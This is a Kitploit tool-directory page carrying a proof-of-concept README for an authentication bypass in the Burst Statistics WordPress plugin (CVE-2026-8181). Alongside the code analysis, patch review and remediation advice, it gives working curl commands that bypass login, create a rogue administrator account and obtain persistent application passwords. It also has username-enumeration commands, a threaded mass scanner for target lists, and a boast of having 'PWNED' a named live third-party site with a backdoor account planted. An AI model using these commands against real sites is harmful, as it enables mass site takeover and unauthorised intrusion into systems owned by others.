Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept | Kitploit
Tools/GitHubGitHub/zycoder0day/cve-2026-8181
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingAuthenticationLearning & Education
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Unauthenticated Authentication Bypass to Admin Account Takeover | Proof of Concept

View Repository
5713 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-8181 — Burst Statistics Authentication Bypass to Admin Account Takeover


📋 Vulnerability Information

ItemDetail
CVE IDCVE-2026-8181
PluginBurst Statistics – Privacy-Friendly WordPress Analytics
Affected Versions3.4.0 – 3.4.1.1
Patched Version3.4.2
CVSS Score9.8 (Critical)
TypeCWE-287: Improper Authentication
Attack VectorNetwork / Remote / Unauthenticated
Active Installations~200,000+
DiscovererPRISM, Wordfence Threat Intelligence
Publication DateMay 8, 2026

🎯 Summary

A critical Authentication Bypass vulnerability in Burst Statistics WordPress plugin versions 3.4.0 through 3.4.1.1 allows an unauthenticated attacker to gain full WordPress administrator access simply by knowing the admin username. The consequence is complete admin account takeover, including creating new accounts, modifying content, and installing malicious plugins.


🔬 Technical Analysis

Root Cause

The vulnerability lies in the is_mainwp_authenticated() method in file includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
// VULNERABLE CODE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null NOT WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth based solely on username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

Main bug: wp_authenticate_application_password(null, $username, $password) returns null (not WP_Error) when Application Passwords are unavailable, which occurs on:

  • Sites using HTTP (not HTTPS) where wp_is_application_passwords_available() returns false
  • Sites where is_ssl() returns false

Because is_wp_error(null) = false, the code proceeds to get_user_by('login', $username) which authenticates based solely on the username without any password validation.

Early Execution

The method has_admin_access() is called during the plugins_loaded hook (priority 9) in class-burst.php line 118:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

This hook runs BEFORE REST API route processing, so wp_set_current_user() grants admin rights for the entire request — not just Burst endpoints.

Attack Flow

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        HTTP site → wp_is_application_passwords_available() = false
                │
        Return null (NOT WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API processes request with admin context]
                │
        Attacker accesses ALL WordPress endpoints as administrator

💻 Proof of Concept

Prerequisites

  • Target runs HTTP (not HTTPS, or SSL not properly detected)
  • Burst Statistics plugin version 3.4.0 – 3.4.1.1 installed and active
  • Knowledge of admin username (can be enumerated)

Installation

root@kitploit:~
pip3 install requests

Usage — Single Target

root@kitploit:~
# Basic scan
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Create new admin account
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# With custom username
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

Usage — Multi Target (Mass Scanner)

root@kitploit:~
python3 poc_CVE-2026-8181.py

Interactive mode:

  1. Input target list file (.txt, one domain per line)
  2. Set thread count (default: 50)
  3. Set new account credentials
  4. Run scan

Format targets.txt:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

Minimal PoC (curl)

root@kitploit:~
# Step 1: Verify auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Create new administrator account
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Get Application Password (persistent credentials)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

Admin Username Enumeration

root@kitploit:~
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ Validation Results

Testing performed on WordPress 6.9 with Burst Statistics 3.4.1.1 (localhost):

TestResultEvidence
Access /wp/v2/users/me without authFAILEDrest_not_logged_in
Access with bypass headersSUCCESSAdmin profile + email + roles
Create new administrator accountSUCCESSUser ID 2, role: administrator
Read WordPress settingsSUCCESSSite title, admin email, URL
Get Application PasswordSUCCESSBase64 token admin:password
List installed pluginsSUCCESSFull list with versions

Live Target Validation

TargetResult
ausdermitte-binz.deSUCCESSFULLY PWNED — Burst 3.4.1.1, bypass via binzwpadmin, account xenon1337 created (ID:30)

🔧 Patch Analysis (v3.4.2)

The fix in version 3.4.2 addresses several issues:

  1. Correct return type check:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Check for WP_User, not !WP_Error
    return false;
}
  1. Force Application Passwords availability:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. CSRF nonce requirement for cookie-authenticated requests
  2. Nonce replay protection with single-use enforcement via add_option()
  3. Removed legacy signature format that did not bind to username

🛡️ Remediation

Immediate Steps

  1. Update Burst Statistics to version 3.4.2 or later
  2. Audit user accounts — check for unknown administrator accounts
  3. Revoke all Application Passwords (wp_application_passwords user meta)
  4. Review WordPress admin email and other settings
  5. Check for unknown plugins/themes

Detection of Compromise Indicators

  • Search access logs for requests containing X-BURSTMAINWP: 1 header from external IPs
  • Monitor wp_users table for new administrator accounts
  • Check wp_options for transient burst_mainwp_app_token_*
  • Review Application Passwords in user profiles

📁 Available Files

FileDescription
exploit_CVE-2026-8181.pySingle target PoC exploit
poc_CVE-2026-8181.pyMulti-target mass scanner with threading
README.mdThis documentation

⚠️ Disclaimer

This tool and documentation are for legitimate security testing only with explicit permission. Unauthorized use against systems that are not yours or without written permission is illegal. The authors are not responsible for misuse.


📚 References

  • Wordfence Advisory
  • Source Code Vulnerable
  • WordPress Plugin Repository
  • WP-Safety Analysis

Download Tool